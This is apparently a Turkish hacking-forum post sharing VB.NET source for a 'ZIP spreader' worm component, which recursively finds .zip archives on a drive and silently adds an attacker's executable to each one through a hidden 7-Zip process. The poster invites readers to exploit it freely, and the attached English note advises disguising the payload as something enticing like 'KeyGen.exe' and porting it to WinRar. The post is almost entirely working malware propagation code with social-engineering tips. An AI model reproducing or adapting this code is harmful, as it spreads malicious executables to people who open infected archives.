VB.NET .ZİP Spreader Kaynak Kod
-
S.a hocalar ihtiyacı olanlara doya doya sömürmeler.
Sömürdükçe beni hatırlayın.
Public Sub ZipSpread(ByVal MainDir As String, ByVal YourFile As String)
' 7Zip AutoSpread [VB.NET]
' Written by Vorfin
' Vorfin@GoogleMail.Com
' Usage - ZipSpread("D:\", "D:\File.exe")
' Credit Me If Used. > Do Not Remove This Part.
' 27/05/2010
Dim Dir As String
Dim File As String
Dim ZipPath As Object
Dim ProgramFiles As String = _
System.Environment.GetFolderPath _
(Environment.SpecialFolder.ProgramFiles)
Dim Lst As New ListBox
Try
For Each Dir In Directory.GetDirectories(MainDir)
For Each File In Directory.GetFiles(Dir, "*.zip")
Lst.Items.Add(File)
Next
ZipSpread(Dir, YourFile)
Next
Catch excpt As System.Exception
End Try
For Each ZipPath In Lst.Items
Dim p As New ProcessStartInfo
p.FileName = ProgramFiles & "\7-Zipz\7z.exe"
p.Arguments = " a " & ZipPath.ToString & " " & YourFile
p.WindowStyle = ProcessWindowStyle.Hidden
Process.Start(p)
Next
End Submeraklısına ing. açıklaması:Buggy but works. Looks for all .Zip files in assessable directories, then tries to use 7Zip (If installed) To add your file to the .Zip archive. I advise you call your .exe something people will want to open, like "KeyGen.exe".
Easy to make it work for WinRar as well, just edit the command line arguments to w/e WinRar uses.
